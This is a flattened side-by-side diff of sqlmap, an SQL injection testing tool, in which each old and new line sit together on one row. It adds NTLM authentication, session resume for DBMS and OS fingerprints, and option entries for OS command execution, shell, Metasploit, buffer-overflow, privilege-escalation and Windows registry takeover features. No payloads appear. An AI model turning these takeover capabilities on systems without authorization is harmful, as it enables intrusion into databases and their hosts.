proxyHandler = urllib2.ProxyHandler({"http": __proxyString}) proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
def __setHTTPAuthentication(): def __setHTTPAuthentication():
""" """
Check and set the HTTP authentication method (Basic or Digest), Check and set the HTTP authentication method (Basic, Digest or NTLM),
username and password to perform HTTP requests with. username and password to perform HTTP requests with.
""" """
@@ -325,31 +528,29 @@ def __setHTTPAuthentication():
return return
elif conf.aType and not conf.aCred: elif conf.aType and not conf.aCred:
errMsg = "you specified the HTTP Authentication type, but " errMsg = "you specified the HTTP authentication type, but "
errMsg += "did not provide the credentials" errMsg += "did not provide the credentials"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
elif not conf.aType and conf.aCred: elif not conf.aType and conf.aCred:
errMsg = "you specified the HTTP Authentication credentials, " errMsg = "you specified the HTTP authentication credentials, "
errMsg += "but did not provide the type" errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
parseTargetUrl() debugMsg = "setting the HTTP authentication type and credentials"
debugMsg = "setting the HTTP Authentication type and credentials"
logger.debug(debugMsg) logger.debug(debugMsg)
aTypeLower = conf.aType.lower() aTypeLower = conf.aType.lower()
if aTypeLower not in ( "basic", "digest" ): if aTypeLower not in ( "basic", "digest", "ntlm" ):
errMsg = "HTTP Authentication type value must be " errMsg = "HTTP authentication type value must be "
errMsg += "Basic or Digest" errMsg += "Basic, Digest or NTLM"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred) aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
if not aCredRegExp: if not aCredRegExp:
errMsg = "HTTP Authentication credentials value must be " errMsg = "HTTP authentication credentials value must be "
errMsg += "in format username:password" errMsg += "in format username:password"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
@@ -361,9 +562,20 @@ def __setHTTPAuthentication():
if aTypeLower == "basic": if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr) authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
elif aTypeLower == "digest": elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr) authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
elif aTypeLower == "ntlm":
try:
from ntlm import HTTPNtlmAuthHandler
except ImportError, _:
errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, "
errMsg += "http://code.google.com/p/python-ntlm/"
raise sqlmapMissingDependence, errMsg
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
def __setHTTPMethod(): def __setHTTPMethod():
""" """
@@ -386,8 +598,10 @@ def __setHTTPMethod():
debugMsg = "setting the HTTP method to %s" % conf.method debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg) logger.debug(debugMsg)
def __setHTTPExtraHeaders(): def __setHTTPExtraHeaders():
if conf.hostname:
conf.httpHeaders.append(("Host", conf.hostname))
if conf.headers: if conf.headers:
debugMsg = "setting extra HTTP headers" debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -405,7 +619,6 @@ def __setHTTPExtraHeaders():
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5")) conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent(): def __defaultHTTPUserAgent():
""" """
@return: default sqlmap HTTP User-Agent header @return: default sqlmap HTTP User-Agent header
@@ -414,6 +627,12 @@ def __defaultHTTPUserAgent():
return "%s (%s)" % (VERSION_STRING, SITE) return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent(): def __setHTTPUserAgent():
""" """
@@ -478,7 +697,6 @@ def __setHTTPUserAgent():
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
logger.info(logMsg) logger.info(logMsg)
def __setHTTPReferer(): def __setHTTPReferer():
""" """
Set the HTTP Referer Set the HTTP Referer
@@ -490,7 +708,6 @@ def __setHTTPReferer():
conf.httpHeaders.append(("Referer", conf.referer)) conf.httpHeaders.append(("Referer", conf.referer))
def __setHTTPCookies(): def __setHTTPCookies():
""" """
Set the HTTP Cookie header Set the HTTP Cookie header
@@ -500,10 +717,11 @@ def __setHTTPCookies():
debugMsg = "setting the HTTP Cookie header" debugMsg = "setting the HTTP Cookie header"
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cookie = sanitizeCookie(conf.cookie, True)
conf.httpHeaders.append(("Connection", "Keep-Alive")) conf.httpHeaders.append(("Connection", "Keep-Alive"))
conf.httpHeaders.append(("Cookie", conf.cookie)) conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout(): def __setHTTPTimeout():
""" """
Set the HTTP timeout Set the HTTP timeout
@@ -522,11 +740,10 @@ def __setHTTPTimeout():
conf.timeout = 3.0 conf.timeout = 3.0
else: else:
conf.timeout = 10.0 conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout) socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions(): def __cleanupOptions():
""" """
Cleanup configuration attributes. Cleanup configuration attributes.
@@ -556,10 +773,24 @@ def __cleanupOptions():
if conf.delay: if conf.delay:
conf.delay = float(conf.delay) conf.delay = float(conf.delay)
if conf.rFile:
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
if conf.wFile:
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
if conf.dFile:
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
if conf.msfPath:
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
if conf.tmpPath:
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
if conf.googleDork or conf.list: if conf.googleDork or conf.list:
conf.multipleTargets = True conf.multipleTargets = True
def __setConfAttributes(): def __setConfAttributes():
""" """
This function set some needed attributes into the configuration This function set some needed attributes into the configuration
@@ -570,26 +801,29 @@ def __setConfAttributes():
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = None conf.cj = None
conf.contentLengths = []
conf.dbmsHandler = None conf.dbmsHandler = None
conf.dumpPath = None conf.dumpPath = None
conf.equalLines = []
conf.httpHeaders = [] conf.httpHeaders = []
conf.hostname = None conf.hostname = None
conf.loggedToOut = None conf.loggedToOut = None
conf.matchRatio = None
conf.md5hash = None
conf.multipleTargets = False conf.multipleTargets = False
conf.outputPath = None conf.outputPath = None
conf.paramDict = {} conf.paramDict = {}
conf.parameters = {} conf.parameters = {}
conf.paramFalseCond = False
conf.paramNegative = False conf.paramNegative = False
conf.path = None conf.path = None
conf.port = None conf.port = None
conf.retries = 0 conf.retriesCount = 0
conf.scheme = None conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None conf.sessionFP = None
conf.start = True conf.start = True
conf.threadException = False conf.threadException = False
conf.wFileType = None
def __setKnowledgeBaseAttributes(): def __setKnowledgeBaseAttributes():
""" """
@@ -601,18 +835,31 @@ def __setKnowledgeBaseAttributes():
logger.debug(debugMsg) logger.debug(debugMsg)
kb.absFilePaths = set() kb.absFilePaths = set()
kb.defaultResult = None kb.bannerFp = advancedDict()
kb.docRoot = None kb.data = advancedDict()
# Basic back-end DBMS fingerprint
kb.dbms = None kb.dbms = None
kb.dbmsDetected = False kb.dbmsDetected = False
kb.dbmsVersion = None
kb.bannerFp = {} # Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = [ "Unknown" ]
kb.dep = None
kb.docRoot = None
kb.headersCount = 0 kb.headersCount = 0
kb.headersFp = {} kb.headersFp = {}
kb.htmlFp = [] kb.htmlFp = []
kb.injParameter = None kb.injParameter = None
kb.injPlace = None kb.injPlace = None
kb.injType = None kb.injType = None
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing
kb.os = None
kb.osVersion = None
kb.osSP = None
kb.parenthesis = None kb.parenthesis = None
kb.resumedQueries = {} kb.resumedQueries = {}
kb.stackedTest = None kb.stackedTest = None
@@ -622,7 +869,6 @@ def __setKnowledgeBaseAttributes():
kb.unionCount = None kb.unionCount = None
kb.unionPosition = None kb.unionPosition = None
def __saveCmdline(): def __saveCmdline():
""" """
Saves the command line options on a sqlmap configuration INI file Saves the command line options on a sqlmap configuration INI file
@@ -635,6 +881,7 @@ def __saveCmdline():
debugMsg = "saving command line options on a sqlmap configuration INI file" debugMsg = "saving command line options on a sqlmap configuration INI file"
logger.debug(debugMsg) logger.debug(debugMsg)
config = ConfigParser()
userOpts = {} userOpts = {}
for family in optDict.keys(): for family in optDict.keys():
@@ -645,15 +892,13 @@ def __saveCmdline():
if option in optionData: if option in optionData:
userOpts[family].append((option, value, optionData[option])) userOpts[family].append((option, value, optionData[option]))
confFP = open(paths.SQLMAP_CONFIG, "w")
for family, optionData in userOpts.items(): for family, optionData in userOpts.items():
confFP.write("[%s]\n" % family) config.add_section(family)
optionData.sort() optionData.sort()
for option, value, datatype in optionData: for option, value, datatype in optionData:
if value == None: if value is None:
if datatype == "boolean": if datatype == "boolean":
value = "False" value = "False"
elif datatype in ( "integer", "float" ): elif datatype in ( "integer", "float" ):
@@ -669,23 +914,20 @@ def __saveCmdline():
if isinstance(value, str): if isinstance(value, str):
value = value.replace("\n", "\n ") value = value.replace("\n", "\n ")
confFP.write("%s = %s\n" % (option, value)) config.set(family, option, value)
confFP.write("\n") confFP = open(paths.SQLMAP_CONFIG, "wb")
config.write(confFP)
confFP.flush()
confFP.close()
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg) logger.info(infoMsg)
def __setVerbosity(): def __setVerbosity():
""" """
This function set the verbosity of sqlmap output messages. This function set the verbosity of sqlmap output messages.
""" """
if conf.verbose == None: if conf.verbose is None:
conf.verbose = 1 conf.verbose = 1
conf.verbose = int(conf.verbose) conf.verbose = int(conf.verbose)
@@ -702,7 +944,6 @@ def __setVerbosity():
elif conf.verbose >= 4: elif conf.verbose >= 4:
logger.setLevel(8) logger.setLevel(8)
def __mergeOptions(inputOptions): def __mergeOptions(inputOptions):
""" """
Merge command line options with configuration file options. Merge command line options with configuration file options.
@@ -714,10 +955,14 @@ def __mergeOptions(inputOptions):
if inputOptions.configFile: if inputOptions.configFile:
configFileParser(inputOptions.configFile) configFileParser(inputOptions.configFile)
for key, value in inputOptions.__dict__.items(): if hasattr(inputOptions, "items"):
if not conf.has_key(key) or conf[key] == None or value != None: inputOptionsItems = inputOptions.items()
conf[key] = value else:
inputOptionsItems = inputOptions.__dict__.items()
for key, value in inputOptionsItems:
if not conf.has_key(key) or conf[key] is None or value is not None:
conf[key] = value
def init(inputOptions=advancedDict()): def init(inputOptions=advancedDict()):
""" """
@@ -731,6 +976,9 @@ def init(inputOptions=advancedDict()):
__setConfAttributes() __setConfAttributes()
__setKnowledgeBaseAttributes() __setKnowledgeBaseAttributes()
__cleanupOptions() __cleanupOptions()
parseTargetUrl()
__setHTTPTimeout() __setHTTPTimeout()
__setHTTPCookies() __setHTTPCookies()
__setHTTPReferer() __setHTTPReferer()
@@ -741,6 +989,10 @@ def init(inputOptions=advancedDict()):
__setHTTPProxy() __setHTTPProxy()
__setThreads() __setThreads()
__setDBMS() __setDBMS()
__setOS()
__setUnionTech()
__setWriteFile()
__setMetasploit()
__setGoogleDorking() __setGoogleDorking()
__setMultipleTargets() __setMultipleTargets()
__urllib2Opener() __urllib2Opener()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,20 +22,19 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
optDict = { optDict = {
# Family: { "parameter_name": "parameter_datatype" }, # Family: { "parameter_name": "parameter_datatype" },
"Target": { "Target": {
"url": "string", "url": "string",
"list": "string", "list": "string",
"googleDork": "string", "googleDork": "string"
}, },
"Request": { "Request": {
"method": "string", "method": "string",
"data": "string", "data": "string",
"cookie": "string", "cookie": "string",
"dropSetCookie": "boolean",
"referer": "string", "referer": "string",
"agent": "string", "agent": "string",
"userAgentsFile": "string", "userAgentsFile": "string",
@@ -45,29 +44,31 @@ optDict = {
"proxy": "string", "proxy": "string",
"threads": "integer", "threads": "integer",
"delay": "float", "delay": "float",
"timeout": "float", "timeout": "float"
}, },
"Injection": { "Injection": {
"testParameter": "string", "testParameter": "string",
"dbms": "string", "dbms": "string",
"os": "string",
"prefix": "string", "prefix": "string",
"postfix": "string", "postfix": "string",
"string": "string", "string": "string",
"regexp": "string", "regexp": "string",
"eString": "string", "eString": "string",
"eRegexp": "string", "eRegexp": "string"
}, },
"Techniques": { "Techniques": {
"stackedTest": "boolean", "stackedTest": "boolean",
"timeTest": "boolean", "timeTest": "boolean",
"unionTest": "boolean", "unionTest": "boolean",
"unionUse": "boolean", "uTech": "string",
"unionUse": "boolean"
}, },
"Fingerprint": { "Fingerprint": {
"extensiveFp": "boolean", "extensiveFp": "boolean"
}, },
"Enumeration": { "Enumeration": {
@@ -90,24 +91,51 @@ optDict = {
"excludeSysDbs": "boolean", "excludeSysDbs": "boolean",
"limitStart": "integer", "limitStart": "integer",
"limitStop": "integer", "limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string", "query": "string",
"sqlShell": "boolean", "sqlShell": "boolean"
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string"
}, },
"File system": { "File system": {
"rFile": "string", "rFile": "string",
"wFile": "string", "wFile": "string",
"dFile": "string"
}, },
"Takeover": { "Takeover": {
"osCmd": "string",
"osShell": "boolean", "osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string"
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string"
}, },
"Miscellaneous": { "Miscellaneous": {
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",
"sessionFile": "string", "sessionFile": "string",
"eta": "boolean",
"googlePage": "integer",
"updateAll": "boolean",
"batch": "boolean", "batch": "boolean",
"cleanup": "boolean",
"verbose": "integer"
}, },
} }

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
class ProgressBar: class ProgressBar:
""" """
This class defines methods to update and draw a progress bar This class defines methods to update and draw a progress bar
@@ -42,7 +39,6 @@ class ProgressBar:
self.__amount = 0 self.__amount = 0
self.update() self.update()
def __convertSeconds(self, value): def __convertSeconds(self, value):
seconds = value seconds = value
minutes = seconds / 60 minutes = seconds / 60
@@ -50,7 +46,6 @@ class ProgressBar:
return "%.2d:%.2d" % (minutes, seconds) return "%.2d:%.2d" % (minutes, seconds)
def update(self, newAmount=0): def update(self, newAmount=0):
""" """
This method updates the progress bar This method updates the progress bar
@@ -87,7 +82,6 @@ class ProgressBar:
percentString = str(percentDone) + "%" percentString = str(percentDone) + "%"
self.__progBar = "%s %s" % (percentString, self.__progBar) self.__progBar = "%s %s" % (percentString, self.__progBar)
def draw(self, eta=0): def draw(self, eta=0):
""" """
This method draws the progress bar if it has changed This method draws the progress bar if it has changed
@@ -102,7 +96,6 @@ class ProgressBar:
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
def __str__(self): def __str__(self):
""" """
This method returns the progress bar string This method returns the progress bar string

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -27,13 +27,11 @@ In addition to normal readline stuff, this module provides haveReadline
boolean and _outputfile variable used in genutils. boolean and _outputfile variable used in genutils.
""" """
import sys import sys
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
try: try:
from readline import * from readline import *
@@ -49,7 +47,7 @@ except ImportError:
except ImportError: except ImportError:
haveReadline = False haveReadline = False
if sys.platform == 'win32' and haveReadline: if IS_WIN and haveReadline:
try: try:
_outputfile=_rl.GetOutputFile() _outputfile=_rl.GetOutputFile()
except AttributeError: except AttributeError:
@@ -63,7 +61,7 @@ if sys.platform == 'win32' and haveReadline:
# Thanks to Boyd Waters for this patch. # Thanks to Boyd Waters for this patch.
uses_libedit = False uses_libedit = False
if sys.platform == 'darwin' and haveReadline: if PLATFORM == 'darwin' and haveReadline:
import commands import commands
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ ) (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
@@ -78,7 +76,6 @@ if sys.platform == 'darwin' and haveReadline:
uses_libedit = True uses_libedit = True
# the clear_history() function was only introduced in Python 2.4 and is # the clear_history() function was only introduced in Python 2.4 and is
# actually optional in the readline API, so we must explicitly check for its # actually optional in the readline API, so we must explicitly check for its
# existence. Some known platforms actually don't have it. This thread: # existence. Some known platforms actually don't have it. This thread:

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,17 +22,18 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import formatFingerprintString
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
def setString(): def setString():
""" """
@@ -47,7 +48,6 @@ def setString():
if condition: if condition:
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp(): def setRegexp():
""" """
Save regular expression to match in session file. Save regular expression to match in session file.
@@ -61,6 +61,15 @@ def setRegexp():
if condition: if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp)) dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setMatchRatio():
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Match ratio") )
)
if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
def setInjection(): def setInjection():
""" """
@@ -85,7 +94,6 @@ def setInjection():
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType)) dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def setParenthesis(parenthesisCount): def setParenthesis(parenthesisCount):
""" """
@param parenthesisCount: number of parenthesis to be set into the @param parenthesisCount: number of parenthesis to be set into the
@@ -103,7 +111,6 @@ def setParenthesis(parenthesisCount):
kb.parenthesis = parenthesisCount kb.parenthesis = parenthesisCount
def setDbms(dbms): def setDbms(dbms):
""" """
@param dbms: database management system to be set into the knowledge @param dbms: database management system to be set into the knowledge
@@ -120,8 +127,10 @@ def setDbms(dbms):
if condition: if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms)) dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
if dbmsRegExp: if dbmsRegExp:
@@ -129,6 +138,66 @@ def setDbms(dbms):
kb.dbms = dbms kb.dbms = dbms
logger.info("the back-end DBMS is %s" % kb.dbms)
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("OS") )
)
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
kb.os = formatFingerprintString(kb.bannerFp["type"])
infoMsg = "the back-end DBMS operating system is %s" % kb.os
if "distrib" in kb.bannerFp:
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0
if kb.os and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
def setStacked():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
)
if not isinstance(kb.stackedTest, str):
return
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
def setUnion(comment=None, count=None, position=None): def setUnion(comment=None, count=None, position=None):
""" """
@@ -169,6 +238,14 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position kb.unionPosition = position
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def resumeConfKb(expression, url, value): def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url: if expression == "String" and url == conf.url:
@@ -214,6 +291,14 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
conf.regexp = regexp conf.regexp = regexp
elif expression == "Match ratio" and url == conf.url:
matchRatio = value[:-1]
logMsg = "resuming match ratio '%s' from session file" % matchRatio
logger.info(logMsg)
conf.matchRatio = round(float(matchRatio), 3)
elif expression == "Injection point" and url == conf.url: elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1] injPlace = value[:-1]
@@ -263,20 +348,23 @@ def resumeConfKb(expression, url, value):
logger.info(logMsg) logger.info(logMsg)
elif expression == "DBMS" and url == conf.url: elif expression == "DBMS" and url == conf.url:
dbms = value[:-1] dbms = value[:-1]
dbms = dbms.lower()
dbmsVersion = None
logMsg = "resuming back-end DBMS '%s' " % dbms logMsg = "resuming back-end DBMS '%s' " % dbms
logMsg += "from session file" logMsg += "from session file"
logger.info(logMsg) logger.info(logMsg)
dbms = dbms.lower() firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp: if dbmsRegExp:
dbms = dbmsRegExp.group(1) dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)] dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms: if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms message = "you provided '%s' as back-end DBMS, " % conf.dbms
@@ -287,9 +375,39 @@ def resumeConfKb(expression, url, value):
test = readInput(message, default="N") test = readInput(message, default="N")
if not test or test[0] in ("n", "N"): if not test or test[0] in ("n", "N"):
conf.dbms = dbms conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
else: else:
conf.dbms = dbms conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
elif expression == "OS" and url == conf.url:
os = value[:-1]
logMsg = "resuming back-end DBMS operating system '%s' " % os
logMsg += "from session file"
logger.info(logMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
elif expression == "Stacked queries" and url == conf.url:
kb.stackedTest = value[:-1]
logMsg = "resuming stacked queries syntax "
logMsg += "'%s' from session file" % kb.stackedTest
logger.info(logMsg)
elif expression == "Union comment" and url == conf.url: elif expression == "Union comment" and url == conf.url:
kb.unionComment = value[:-1] kb.unionComment = value[:-1]
@@ -311,3 +429,10 @@ def resumeConfKb(expression, url, value):
logMsg = "resuming union position " logMsg = "resuming union position "
